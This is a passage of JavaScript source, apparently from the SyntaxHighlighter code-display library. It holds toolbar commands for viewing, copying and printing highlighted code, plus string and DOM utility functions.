function(highlighter)\n\t\t\t{\n\t\t\t\tthis.create = function()\n\t\t\t\t{\n\t\t\t\t\tif (highlighter.getParam('collapse') != true)\n\t\t\t\t\t\treturn;\n\t\t\t\t\t\n\t\t\t\t\treturn sh.config.strings.expandSource;\n\t\t\t\t};\n\t\t\t\n\t\t\t\tthis.execute = function(sender, event, args)\n\t\t\t\t{\n\t\t\t\t\tvar div = highlighter.div;\n\t\t\t\t\t\n\t\t\t\t\tsender.parentNode.removeChild(sender);\n\t\t\t\t\tdiv.className = div.className.replace('collapsed', '');\n\t\t\t\t};\n\t\t\t},\n\t\t\n\t\t\t/** \n\t\t\t * Command to open a new window and display the original unformatted source code inside.\n\t\t\t */\n\t\t\tviewSource : function(highlighter)\n\t\t\t{\n\t\t\t\tthis.create = function()\n\t\t\t\t{\n\t\t\t\t\treturn sh.config.strings.viewSource;\n\t\t\t\t};\n\t\t\t\t\n\t\t\t\tthis.execute = function(sender, event, args)\n\t\t\t\t{\n\t\t\t\t\tvar code = sh.utils.fixInputString(highlighter.originalCode).replace(/</g, '&lt;'),\n\t\t\t\t\t\twnd = sh.utils.popup('', '_blank', 750, 400, 'location=0, resizable=1, menubar=0, scrollbars=1')\n\t\t\t\t\t\t;\n\t\t\t\t\t\n\t\t\t\t\tcode = sh.utils.unindent(code);\n\t\t\t\t\t\n\t\t\t\t\twnd.document.write('<pre>' + code + '</pre>');\n\t\t\t\t\twnd.document.close();\n\t\t\t\t};\n\t\t\t},\n\t\t\t\n\t\t\t/**\n\t\t\t * Command to copy the original source code in to the clipboard.\n\t\t\t * Uses Flash method if <code>clipboardSwf</code> is configured.\n\t\t\t */\n\t\t\tcopyToClipboard : function(highlighter)\n\t\t\t{\n\t\t\t\tvar flashDiv, flashSwf,\n\t\t\t\t\thighlighterId = highlighter.id\n\t\t\t\t\t;\n\t\t\t\t\n\t\t\t\tthis.create = function()\n\t\t\t\t{\n\t\t\t\t\tvar config = sh.config;\n\t\t\t\t\t\n\t\t\t\t\t// disable functionality if running locally\n\t\t\t\t\tif (config.clipboardSwf == null)\n\t\t\t\t\t\treturn null;\n\n\t\t\t\t\tfunction params(list)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar result = '';\n\t\t\t\t\t\t\n\t\t\t\t\t\tfor (var name in list)\n\t\t\t\t\t\t\tresult += \"<param name='\" + name + \"' value='\" + list[name] + \"'/>\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\treturn result;\n\t\t\t\t\t};\n\t\t\t\t\t\n\t\t\t\t\tfunction attributes(list)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar result = '';\n\t\t\t\t\t\t\n\t\t\t\t\t\tfor (var name in list)\n\t\t\t\t\t\t\tresult += \" \" + name + \"='\" + list[name] + \"'\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\treturn result;\n\t\t\t\t\t};\n\t\t\t\t\t\n\t\t\t\t\tvar args1 = {\n\t\t\t\t\t\t\twidth\t\t\t\t: config.toolbarItemWidth,\n\t\t\t\t\t\t\theight\t\t\t\t: config.toolbarItemHeight,\n\t\t\t\t\t\t\tid\t\t\t\t\t: highlighterId + '_clipboard',\n\t\t\t\t\t\t\ttype\t\t\t\t: 'application/x-shockwave-flash',\n\t\t\t\t\t\t\ttitle\t\t\t\t: sh.config.strings.copyToClipboard\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\n\t\t\t\t\t\t// these arguments are used in IE's <param /> collection\n\t\t\t\t\t\targs2 = {\n\t\t\t\t\t\t\tallowScriptAccess\t: 'always',\n\t\t\t\t\t\t\twmode\t\t\t\t: 'transparent',\n\t\t\t\t\t\t\tflashVars\t\t\t: 'highlighterId=' + highlighterId,\n\t\t\t\t\t\t\tmenu\t\t\t\t: 'false'\n\t\t\t\t\t\t},\n\t\t\t\t\t\tswf = config.clipboardSwf,\n\t\t\t\t\t\thtml\n\t\t\t\t\t;\n\n\t\t\t\t\tif (/msie/i.test(navigator.userAgent))\n\t\t\t\t\t{\n\t\t\t\t\t\thtml = '<object'\n\t\t\t\t\t\t\t+ attributes({\n\t\t\t\t\t\t\t\tclassid : 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000',\n\t\t\t\t\t\t\t\tcodebase : 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0'\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t+ attributes(args1)\n\t\t\t\t\t\t\t+ '>'\n\t\t\t\t\t\t\t+ params(args2)\n\t\t\t\t\t\t\t+ params({ movie : swf })\n\t\t\t\t\t\t\t+ '</object>'\n\t\t\t\t\t\t;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\thtml = '<embed'\n\t\t\t\t\t\t\t+ attributes(args1)\n\t\t\t\t\t\t\t+ attributes(args2)\n\t\t\t\t\t\t\t+ attributes({ src : swf })\n\t\t\t\t\t\t\t+ '/>'\n\t\t\t\t\t\t;\n\t\t\t\t\t}\n\n\t\t\t\t\tflashDiv = document.createElement('div');\n\t\t\t\t\tflashDiv.innerHTML = html;\n\t\t\t\t\t\n\t\t\t\t\treturn flashDiv;\n\t\t\t\t};\n\t\t\t\t\n\t\t\t\tthis.execute = function(sender, event, args)\n\t\t\t\t{\n\t\t\t\t\tvar command = args.command;\n\n\t\t\t\t\tswitch (command)\n\t\t\t\t\t{\n\t\t\t\t\t\tcase 'get':\n\t\t\t\t\t\t\tvar code = sh.utils.unindent(\n\t\t\t\t\t\t\t\tsh.utils.fixInputString(highlighter.originalCode)\n\t\t\t\t\t\t\t\t\t.replace(/&lt;/g, '<')\n\t\t\t\t\t\t\t\t\t.replace(/&gt;/g, '>')\n\t\t\t\t\t\t\t\t\t.replace(/&amp;/g, '&')\n\t\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t\tif(window.clipboardData)\n\t\t\t\t\t\t\t\t// will fall through to the confirmation because there isn't a break\n\t\t\t\t\t\t\t\twindow.clipboardData.setData('text', code);\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\treturn sh.utils.unindent(code);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tcase 'ok':\n\t\t\t\t\t\t\tsh.utils.alert(sh.config.strings.copyToClipboardConfirmation);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tcase 'error':\n\t\t\t\t\t\t\tsh.utils.alert(args.message);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t},\n\t\t\t\n\t\t\t/** Command to print the colored source code. */\n\t\t\tprintSource : function(highlighter)\n\t\t\t{\n\t\t\t\tthis.create = function()\n\t\t\t\t{\n\t\t\t\t\treturn sh.config.strings.print;\n\t\t\t\t};\n\t\t\t\t\n\t\t\t\tthis.execute = function(sender, event, args)\n\t\t\t\t{\n\t\t\t\t\tvar iframe = document.createElement('IFRAME'),\n\t\t\t\t\t\tdoc = null\n\t\t\t\t\t\t;\n\t\t\t\t\t\n\t\t\t\t\t// make sure there is never more than one hidden iframe created by SH\n\t\t\t\t\tif (sh.vars.printFrame != null)\n\t\t\t\t\t\tdocument.body.removeChild(sh.vars.printFrame);\n\t\t\t\t\t\n\t\t\t\t\tsh.vars.printFrame = iframe;\n\t\t\t\t\t\n\t\t\t\t\t// this hides the iframe\n\t\t\t\t\tiframe.style.cssText = 'position:absolute;width:0px;height:0px;left:-500px;top:-500px;';\n\t\t\t\t\n\t\t\t\t\tdocument.body.appendChild(iframe);\n\t\t\t\t\tdoc = iframe.contentWindow.document;\n\t\t\t\t\t\n\t\t\t\t\tcopyStyles(doc, window.document);\n\t\t\t\t\tdoc.write('<div class=\"' + highlighter.div.className.replace('collapsed', '') + ' printing\">' + highlighter.div.innerHTML + '</div>');\n\t\t\t\t\tdoc.close();\n\t\t\t\t\t\n\t\t\t\t\tiframe.contentWindow.focus();\n\t\t\t\t\tiframe.contentWindow.print();\n\t\t\t\t\t\n\t\t\t\t\tfunction copyStyles(destDoc, sourceDoc)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar links = sourceDoc.getElementsByTagName('link');\n\t\t\t\t\t\n\t\t\t\t\t\tfor(var i = 0; i < links.length; i++)\n\t\t\t\t\t\t\tif(links[i].rel.toLowerCase() == 'stylesheet' && /shCore\\.css$/.test(links[i].href))\n\t\t\t\t\t\t\t\tdestDoc.write('<link type=\"text/css\" rel=\"stylesheet\" href=\"' + links[i].href + '\"></link>');\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t},\n\n\t\t\t/** Command to display the about dialog window. */\n\t\t\tabout : function(highlighter)\n\t\t\t{\n\t\t\t\tthis.create = function()\n\t\t\t\t{\t\n\t\t\t\t\treturn sh.config.strings.help;\n\t\t\t\t};\n\n\t\t\t\tthis.execute = function(sender, event)\n\t\t\t\t{\t\n\t\t\t\t\tvar wnd = sh.utils.popup('', '_blank', 500, 250, 'scrollbars=0'),\n\t\t\t\t\t\tdoc = wnd.document\n\t\t\t\t\t\t;\n\t\t\t\t\t\n\t\t\t\t\tdoc.write(sh.config.strings.aboutDialog);\n\t\t\t\t\tdoc.close();\n\t\t\t\t\twnd.focus();\n\t\t\t\t};\n\t\t\t}\n\t\t}\n\t},\n\n\tutils : {\n\t\t/**\n\t\t * Finds an index of element in the array.\n\t\t * @ignore\n\t\t * @param {Object} searchElement\n\t\t * @param {Number} fromIndex\n\t\t * @return {Number} Returns index of element if found; -1 otherwise.\n\t\t */\n\t\tindexOf : function(array, searchElement, fromIndex)\n\t\t{\n\t\t\tfromIndex = Math.max(fromIndex || 0, 0);\n\n\t\t\tfor (var i = fromIndex; i < array.length; i++)\n\t\t\t\tif(array[i] == searchElement)\n\t\t\t\t\treturn i;\n\n\t\t\treturn -1;\n\t\t},\n\t\t\n\t\t/**\n\t\t * Generates a unique element ID.\n\t\t */\n\t\tguid : function(prefix)\n\t\t{\n\t\t\treturn prefix + Math.round(Math.random() * 1000000).toString();\n\t\t},\n\t\t\n\t\t/**\n\t\t * Merges two objects. Values from obj2 override values in obj1.\n\t\t * Function is NOT recursive and works only for one dimensional objects.\n\t\t * @param {Object} obj1 First object.\n\t\t * @param {Object} obj2 Second object.\n\t\t * @return {Object} Returns combination of both objects.\n\t\t */\n\t\tmerge: function(obj1, obj2)\n\t\t{\n\t\t\tvar result = {}, name;\n\n\t\t\tfor (name in obj1) \n\t\t\t\tresult[name] = obj1[name];\n\t\t\t\n\t\t\tfor (name in obj2) \n\t\t\t\tresult[name] = obj2[name];\n\t\t\t\t\n\t\t\treturn result;\n\t\t},\n\t\t\n\t\t/**\n\t\t * Attempts to convert string to boolean.\n\t\t * @param {String} value Input string.\n\t\t * @return {Boolean} Returns true if input was \"true\", false if input was \"false\" and value otherwise.\n\t\t */\n\t\ttoBoolean: function(value)\n\t\t{\n\t\t\tswitch (value)\n\t\t\t{\n\t\t\t\tcase \"true\":\n\t\t\t\t\treturn true;\n\t\t\t\t\t\n\t\t\t\tcase \"false\":\n\t\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\treturn value;\n\t\t},\n\t\t\n\t\t/**\n\t\t * Opens up a centered popup window.\n\t\t * @param {String} url\t\tURL to open in the window.\n\t\t * @param {String} name\t\tPopup name.\n\t\t * @param {int} width\t\tPopup width.\n\t\t * @param {int} height\t\tPopup height.\n\t\t * @param {String} options\twindow.open() options.\n\t\t * @return {Window}\t\t\tReturns window instance.\n\t\t */\n\t\tpopup: function(url, name, width, height, options)\n\t\t{\n\t\t\tvar x = (screen.width - width) / 2,\n\t\t\t\ty = (screen.height - height) / 2\n\t\t\t\t;\n\t\t\t\t\n\t\t\toptions +=\t', left=' + x + \n\t\t\t\t\t\t', top=' + y +\n\t\t\t\t\t\t', width=' + width +\n\t\t\t\t\t\t', height=' + height\n\t\t\t\t;\n\t\t\toptions = options.replace(/^,/, '');\n\n\t\t\tvar win = window.open(url, name, options);\n\t\t\twin.focus();\n\t\t\treturn win;\n\t\t},\n\t\t\n\t\t/**\n\t\t * Adds event handler to the target object.\n\t\t * @param {Object} obj\t\tTarget object.\n\t\t * @param {String} type\t\tName of the event.\n\t\t * @param {Function} func\tHandling function.\n\t\t */\n\t\taddEvent: function(obj, type, func)\n\t\t{\n\t\t\tif (obj.attachEvent) \n\t\t\t{\n\t\t\t\tobj['e' + type + func] = func;\n\t\t\t\tobj[type + func] = function()\n\t\t\t\t{\n\t\t\t\t\tobj['e' + type + func](window.event);\n\t\t\t\t}\n\t\t\t\tobj.attachEvent('on' + type, obj[type + func]);\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\tobj.addEventListener(type, func, false);\n\t\t\t}\n\t\t},\n\t\t\n\t\t/**\n\t\t * Displays an alert.\n\t\t * @param {String} str String to display.\n\t\t */\n\t\talert: function(str)\n\t\t{\n\t\t\talert(sh.config.strings.alert + str)\n\t\t},\n\t\t\n\t\t/**\n\t\t * Finds a brush by its alias.\n\t\t *\n\t\t * @param {String} alias\tBrush alias.\n\t\t * @param {Boolean} alert\tSuppresses the alert if false.\n\t\t * @return {Brush}\t\t\tReturns bursh constructor if found, null otherwise.\n\t\t */\n\t\tfindBrush: function(alias, alert)\n\t\t{\n\t\t\tvar brushes = sh.vars.discoveredBrushes,\n\t\t\t\tresult = null\n\t\t\t\t;\n\t\t\t\n\t\t\tif (brushes == null) \n\t\t\t{\n\t\t\t\tbrushes = {};\n\t\t\t\t\n\t\t\t\t// Find all brushes\n\t\t\t\tfor (var brush in sh.brushes) \n\t\t\t\t{\n\t\t\t\t\tvar aliases = sh.brushes[brush].aliases;\n\t\t\t\t\t\n\t\t\t\t\tif (aliases == null) \n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\n\t\t\t\t\t// keep the brush name\n\t\t\t\t\tsh.brushes[brush].name = brush.toLowerCase();\n\t\t\t\t\t\n\t\t\t\t\tfor (var i = 0; i < aliases.length; i++) \n\t\t\t\t\t\tbrushes[aliases[i]] = brush;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tsh.vars.discoveredBrushes = brushes;\n\t\t\t}\n\t\t\t\n\t\t\tresult = sh.brushes[brushes[alias]];\n\n\t\t\tif (result == null && alert != false)\n\t\t\t\tsh.utils.alert(sh.config.strings.noBrush + alias);\n\t\t\t\n\t\t\treturn result;\n\t\t},\n\t\t\n\t\t/**\n\t\t * Executes a callback on each line and replaces each line with result from the callback.\n\t\t * @param {Object} str\t\t\tInput string.\n\t\t * @param {Object} callback\t\tCallback function taking one string argument and returning a string.\n\t\t */\n\t\teachLine: function(str, callback)\n\t\t{\n\t\t\tvar lines = str.split('\\n');\n\t\t\t\n\t\t\tfor (var i = 0; i < lines.length; i++)\n\t\t\t\tlines[i] = callback(lines[i]);\n\t\t\t\t\n\t\t\treturn lines.join('\\n');\n\t\t},\n\t\t\n\t\t/**\n\t\t * This is a special trim which only removes first and last empty lines\n\t\t * and doesn't affect valid leading space on the first line.\n\t\t * \n\t\t * @param {String} str   Input string\n\t\t * @return {String}      Returns string without empty first and last lines.\n\t\t */\n\t\ttrimFirstAndLastLines: function(str)\n\t\t{\n\t\t\treturn str.replace(/^[ ]*[\\n]+|[\\n]*[ ]*$/g, '');\n\t\t},\n\t\t\n\t\t/**\n\t\t * Parses key/value pairs into hash object.\n\t\t * \n\t\t * Understands the following formats:\n\t\t * - name: word;\n\t\t * - name: [word, word];\n\t\t * - name: \"string\";\n\t\t * - name: 'string';\n\t\t * \n\t\t * For example:\n\t\t *   name1: value; name2: [value, value]; name3: 'value'\n\t\t *   \n\t\t * @param {String} str    Input string.\n\t\t * @return {Object}       Returns deserialized object.\n\t\t */\n\t\tparseParams: function(str)\n\t\t{\n\t\t\tvar match, \n\t\t\t\tresult = {},\n\t\t\t\tarrayRegex = new XRegExp(\"^\\\\[(?<values>(.*?))\\\\]$\"),\n\t\t\t\tregex = new XRegExp(\n\t\t\t\t\t\"(?<name>[\\\\w-]+)\" +\n\t\t\t\t\t\"\\\\s*:\\\\s*\" +\n\t\t\t\t\t\"(?<value>\" +\n\t\t\t\t\t\t\"[\\\\w-%#]+|\" +\t\t// word\n\t\t\t\t\t\t\"\\\\[.*?\\\\]|\" +\t\t// [] array\n\t\t\t\t\t\t'\".*?\"|' +\t\t\t// \"\" string\n\t\t\t\t\t\t\"'.*?'\" +\t\t\t// '' string\n\t\t\t\t\t\")\\\\s*;?\",\n\t\t\t\t\t\"g\"\n\t\t\t\t)\n\t\t\t\t;\n\n\t\t\twhile ((match = regex.exec(str)) != null) \n\t\t\t{\n\t\t\t\tvar value = match.value\n\t\t\t\t\t.replace(/^['\"]|['\"]$/g, '') // strip quotes from end of strings\n\t\t\t\t\t;\n\t\t\t\t\n\t\t\t\t// try to parse array value\n\t\t\t\tif (value != null && arrayRegex.test(value))\n\t\t\t\t{\n\t\t\t\t\tvar m = arrayRegex.exec(value);\n\t\t\t\t\tvalue = m.values.length > 0 ? m.values.split(/\\s*,\\s*/) : [];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tresult[match.name] = value;\n\t\t\t}\n\t\t\t\n\t\t\treturn result;\n\t\t},\n\t\n\t\t/**\n\t\t * Wraps each line of the string into <code/> tag with given style applied to it.\n\t\t * \n\t\t * @param {String} str   Input string.\n\t\t * @param {String} css   Style name to apply to the string.\n\t\t * @return {String}      Returns input string with each line surrounded by <span/> tag.\n\t\t */\n\t\tdecorate: function(str, css)\n\t\t{\n\t\t\tif (str == null || str.length == 0 || str == '\\n') \n\t\t\t\treturn str;\n\t\n\t\t\tstr = str.replace(/</g, '&lt;');\n\t\n\t\t\t// Replace two or more sequential spaces with &nbsp; leaving last space untouched.\n\t\t\tstr = str.replace(/ {2,}/g, function(m)\n\t\t\t{\n\t\t\t\tvar spaces = '';\n\t\t\t\t\n\t\t\t\tfor (var i = 0; i < m.length - 1; i++)\n\t\t\t\t\tspaces += '&nbsp;';\n\t\t\t\t\n\t\t\t\treturn spaces + ' ';\n\t\t\t});\n\n\t\t\t// Split each line and apply <span class=\"...\">...</span> to them so that\n\t\t\t// leading spaces aren't included.\n\t\t\tif (css != null) \n\t\t\t\tstr = sh.utils.eachLine(str, function(line)\n\t\t\t\t{\n\t\t\t\t\tif (line.length == 0) \n\t\t\t\t\t\treturn '';\n\t\t\t\t\t\n\t\t\t\t\tvar spaces = '';\n\t\t\t\t\t\n\t\t\t\t\tline = line.replace(/^(&nbsp;| )+/, function(s)\n\t\t\t\t\t{\n\t\t\t\t\t\tspaces = s;\n\t\t\t\t\t\treturn '';\n\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t\tif (line.length == 0) \n\t\t\t\t\t\treturn spaces;\n\t\t\t\t\t\n\t\t\t\t\treturn spaces + '<code class=\"' + css + '\">' + line + '</code>';\n\t\t\t\t});\n\n\t\t\treturn str;\n\t\t},\n\t\n\t\t/**\n\t\t * Pads number with zeros until it's length is the same as given length.\n\t\t * \n\t\t * @param {Number} number\tNumber to pad.\n\t\t * @param {Number} length\tMax string length with.\n\t\t * @return {String}\t\t\tReturns a string padded with proper amount of '0'.\n\t\t */\n\t\tpadNumber : function(number, length)\n\t\t{\n\t\t\tvar result = number.toString();\n\t\t\t\n\t\t\twhile (result.length < length)\n\t\t\t\tresult = '0' + result;\n\t\t\t\n\t\t\treturn result;\n\t\t},\n\t\t\n\t\t/**\n\t\t * Measures width of a single space character.\n\t\t * @return {Number} Returns width of a single space character.\n\t\t */\n\t\tmeasureSpace : function()\n\t\t{\n\t\t\tvar container = document.createElement('div'),\n\t\t\t\tspan,\n\t\t\t\tresult = 0,\n\t\t\t\tbody = document.body,\n\t\t\t\tid = sh.utils.guid('measureSpace'),\n\t\t\t\t\n\t\t\t\t// variable names will be compressed, so it's better than a plain string\n\t\t\t\tdivOpen = '<div class=\"',\n\t\t\t\tcloseDiv = '</div>',\n\t\t\t\tcloseSpan = '</span>'\n\t\t\t\t;\n\n\t\t\t// we have to duplicate highlighter nested structure in order to get an acurate space measurment\n\t\t\tcontainer.innerHTML = \n\t\t\t\tdivOpen + 'syntaxhighlighter\">' \n\t\t\t\t\t+ divOpen + 'lines\">' \n\t\t\t\t\t\t+ divOpen + 'line\">' \n\t\t\t\t\t\t\t+ divOpen + 'content'\n\t\t\t\t\t\t\t\t+ '\"><span class=\"block\"><span id=\"' + id + '\">&nbsp;' + closeSpan + closeSpan\n\t\t\t\t\t\t\t+ closeDiv \n\t\t\t\t\t\t+ closeDiv \n\t\t\t\t\t+ closeDiv \n\t\t\t\t+ closeDiv\n\t\t\t\t;\n\t\t\t\n\t\t\tbody.appendChild(container);\n\t\t\tspan = document.getElementById(id);\n\t\t\t\n\t\t\tif (/opera/i.test(navigator.userAgent))\n\t\t\t{\n\t\t\t\tvar style = window.getComputedStyle(span, null);\n\t\t\t\tresult = parseInt(style.getPropertyValue(\"width\"));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tresult = span.offsetWidth;\n\t\t\t}\n\n\t\t\tbody.removeChild(container);\n\n\t\t\treturn result;\n\t\t},\n\t\t\n\t\t/**\n\t\t * Replaces tabs with spaces.\n\t\t * \n\t\t * @param {String} code\t\tSource code.\n\t\t * @param {Number} tabSize\tSize of the tab.\n\t\t * @return {String}\t\t\tReturns code with all tabs replaces by spaces.\n\t\t */\n\t\tprocessTabs : function(code, tabSize)\n\t\t{\n\t\t\tvar tab = '';\n\t\t\t\n\t\t\tfor (var i = 0; i < tabSize; i++)\n\t\t\t\ttab += ' ';\n\n\t\t\treturn code.replace(/\\t/g, tab);\n\t\t},\n\t\t\n\t\t/**\n\t\t * Replaces tabs with smart spaces.\n\t\t * \n\t\t * @param {String} code    Code to fix the tabs in.\n\t\t * @param {Number} tabSize Number of spaces in a column.\n\t\t * @return {String}        Returns code with all tabs replaces with roper amount of spaces.\n\t\t */\n\t\tprocessSmartTabs : function(code, tabSize)\n\t\t{\n\t\t\tvar lines = code.split('\\n'),\n\t\t\t\ttab = '\\t',\n\t\t\t\tspaces = ''\n\t\t\t\t;\n\t\t\t\n\t\t\t// Create a string with 1000 spaces to copy spaces from... \n\t\t\t// It's assumed that there would be no indentation longer than that.\n\t\t\tfor (var i = 0; i < 50; i++) \n\t\t\t\tspaces += '                    '; // 20 spaces * 50\n\t\t\t\t\t\n\t\t\t// This function inserts specified amount of spaces in the string\n\t\t\t// where a tab is while removing that given tab.\n\t\t\tfunction insertSpaces(line, pos, count)\n\t\t\t{\n\t\t\t\treturn line.substr(0, pos)\n\t\t\t\t\t+ spaces.substr(0, count)\n\t\t\t\t\t+ line.substr(pos + 1, line.length) // pos + 1 will get rid of the tab\n\t\t\t\t\t;\n\t\t\t};\n\t\n\t\t\t// Go through all the lines and do the 'smart tabs' magic.\n\t\t\tcode = sh.utils.eachLine(code, function(line)\n\t\t\t{\n\t\t\t\tif (line.indexOf(tab) == -1) \n\t\t\t\t\treturn line;\n\t\t\t\t\n\t\t\t\tvar pos = 0;\n\t\t\t\t\n\t\t\t\twhile ((pos = line.indexOf(tab)) != -1) \n\t\t\t\t{\n\t\t\t\t\t// This is pretty much all there is to the 'smart tabs' logic.\n\t\t\t\t\t// Based on the position within the line and size of a tab,\n\t\t\t\t\t// calculate the amount of spaces we need to insert.\n\t\t\t\t\tvar spaces = tabSize - pos % tabSize;\n\t\t\t\t\tline = insertSpaces(line, pos, spaces);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn line;\n\t\t\t});\n\t\t\t\n\t\t\treturn code;\n\t\t},\n\t\t\n\t\t/**\n\t\t * Performs various string fixes based on configuration.\n\t\t */\n\t\tfixInputString : function(str)\n\t\t{\n\t\t\tvar br = /<br\\s*\\/?>|&lt;br\\s*\\/?&gt;/gi;\n\t\t\t\n\t\t\tif (sh.config.bloggerMode == true)\n\t\t\t\tstr = str.replace(br, '\\n');\n\n\t\t\tif (sh.config.stripBrs == true)\n\t\t\t\tstr = str.replace(br, '');\n\t\t\t\t\n\t\t\treturn str;\n\t\t},\n\t\t\n\t\t/**\n\t\t * Removes all white space at the begining and end of a string.\n\t\t * \n\t\t * @param {String} str   String to trim.\n\t\t * @return {String}      Returns string without leading and following white space characters.\n\t\t */\n\t\ttrim: function(str)\n\t\t{\n\t\t\treturn str.replace(/^\\s+|\\s+$/g, '');\n\t\t},\n\t\t\n\t\t/**\n\t\t * Unindents a block of text by the lowest common indent amount.\n\t\t * @param {String} str   Text to unindent.\n\t\t * @return {String}      Returns unindented text block.\n\t\t */\n\t\tunindent: function(str)\n\t\t{\n\t\t\tvar lines = sh.utils.fixInputString(str).split('\\n'),\n\t\t\t\tindents = new Array(),\n\t\t\t\tregex = /^\\s*/,\n\t\t\t\tmin = 1000\n\t\t\t\t;\n\t\t\t\n\t\t\t// go through every line and check for common number of indents\n\t\t\tfor (var i = 0; i < lines.length && min > 0; i++) \n\t\t\t{\n\t\t\t\tvar line = lines[i];\n\t\t\t\t\n\t\t\t\tif (sh.utils.trim(line).length == 0) \n\t\t\t\t\tcontinue;\n\t\t\t\t\n\t\t\t\tvar matches = regex.exec(line);\n\t\t\t\t\n\t\t\t\t// In the event that just one line doesn't have leading white space\n\t\t\t\t// we can't unindent anything, so bail completely.\n\t\t\t\tif (matches == null) \n\t\t\t\t\treturn str;\n\t\t\t\t\t\n\t\t\t\tmin = Math.min(matches[0].length, min);\n\t\t\t}\n\t\t\t\n\t\t\t// trim minimum common number of white space from the begining of every line\n\t\t\tif (min > 0) \n\t\t\t\tfor (var i = 0; i < lines.length; i++) \n\t\t\t\t\tlines[i] = lines[i].substr(min);\n\t\t\t\n\t\t\treturn lines.join('\\n');\n\t\t},\n\t\n\t\t/**\n\t\t * Callback method for Array.sort() which sorts matches by\n\t\t * index position and then by length.\n\t\t * \n\t\t * @param {Match} m1\tLeft object.\n\t\t * @param {Match} m2    Right object.\n\t\t * @return {Number}     Returns -1, 0 or -1 as a comparison result.\n\t\t */\n\t\tmatchesSortCallback: function(m1, m2)\n\t\t{\n\t\t\t// sort matches by index first\n\t\t\tif(m1.index < m2.index)\n\t\t\t\treturn -1;\n\t\t\telse if(m1.index > m2.index)\n\t\t\t\treturn 1;\n\t\t\telse\n\t\t\t{\n\t\t\t\t// if index is the same, sort by length\n\t\t\t\tif(m1.length < m2.length)\n\t\t\t\t\treturn -1;\n\t\t\t\telse if(m1.length > m2.length)\n\t\t\t\t\treturn 1;\n\t\t\t}\n\t\t\t\n\t\t\treturn 0;\n\t\t},\n\t\n\t\t/**\n\t\t * Executes given regular expression on provided code and returns all\n\t\t * matches that are found.\n\t\t * \n\t\t * @param {String} code    Code to execute regular expression on.\n\t\t * @param {Object} regex   Regular expression item info from <code>regexList</code> collection.\n\t\t * @return {Array}         Returns a list of Match objects.\n\t\t */ \n\t\tgetMatches: function(code, regexInfo)\n\t\t{\n\t\t\tfunction defaultAdd(match, regexInfo)\n\t\t\t{\n\t\t\t\treturn [new sh.Match(match[0], match.index, regexInfo.css)];\n\t\t\t};\n\t\t\t\n\t\t\tvar index = 0,\n\t\t\t\tmatch = null,\n\t\t\t\tresult = [],\n\t\t\t\tfunc = regexInfo.func ? regexInfo.func : defaultAdd\n\t\t\t\t;\n\t\t\t\n\t\t\twhile((match = regexInfo.regex.exec(code)) != null)\n\t\t\t\tresult = result.concat(func(match, regexInfo));\n\t\t\t\t\n\t\t\treturn result;\n\t\t},\n\t\t\n\t\tprocessUrls: function(code)\n\t\t{\n\t\t\tvar lt = '&lt;',\n\t\t\t\tgt = '&gt;'\n\t\t\t\t;\n\t\t\t\n\t\t\treturn code.replace(sh.regexLib.url, function(m)\n\t\t\t{\n\t\t\t\tvar suffix = '', prefix = '';\n\t\t\t\t\n\t\t\t\t// We include &lt; and &gt; in the URL for the common cases like <http://google.com>\n\t\t\t\t// The problem is that they get transformed into &lt;http://google.com&gt;\n\t\t\t\t// Where as &gt; easily looks like part of the URL string.\n\t\t\t\t\n\t\t\t\tif (m.indexOf(lt) == 0)\n\t\t\t\t{\n\t\t\t\t\tprefix = lt;\n\t\t\t\t\tm = m.substring(lt.length);\n\t\t\t\t}\n\n\t\t\t\tif (m.indexOf(gt) == m.length - gt.length)\n\t\t\t\t{\n\t\t\t\t\tm = m.substring(0, m.length - gt.length);\n\t\t\t\t\tsuffix = gt;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn prefix + '<a href=\"' + m + '\">' + m + '</a>' + suffix;\n\t\t\t});\n\t\t},\n\t\t\n\t\t/**\n\t\t * Finds all <SCRIPT TYPE=\"syntaxhighlighter\" /> elements.\n\t\t * @return {Array} Returns array of all found SyntaxHighlighter tags.\n\t\t */\n\t\tgetSyntaxHighlighterScriptTags: function()\n\t\t{\n\t\t\tvar tags = document.getElementsByTagName('script'),\n\t\t\t\tresult = []\n\t\t\t\t;\n\t\t\t\n\t\t\tfor (var i = 0; i < tags.length; i++)\n\t\t\t\tif (tags[i].type == 'syntaxhighlighter')\n\t\t\t\t\tresult.push(tags[i]);\n\t\t\t\t\t\n\t\t\treturn result;\n\t\t},\n\t\t\n\t\t/**\n\t\t * Strips <![CDATA[]]> from <SCRIPT /> content because it should be used\n\t\t * there in most cases for XHTML compliance.\n\t\t * @param {String} original\tInput code.\n\t\t * @return {String} Returns code without leading <![CDATA[]]> tags.\n\t\t */\n\t\tstripCData: function(original)\n\t\t{\n\t\t\tvar left = '<![CDATA[',\n\t\t\t\tright = ']]>',\n\t\t\t\t// for some reason IE inserts some leading blanks here\n\t\t\t\tcopy = sh.utils.trim(original),\n\t\t\t\tchanged = false\n\t\t\t\t;\n\t\t\t\n\t\t\tif (copy.indexOf(left) == 0)\n\t\t\t{\n\t\t\t\tcopy = copy.substring(left.length);\n\t\t\t\tchanged = 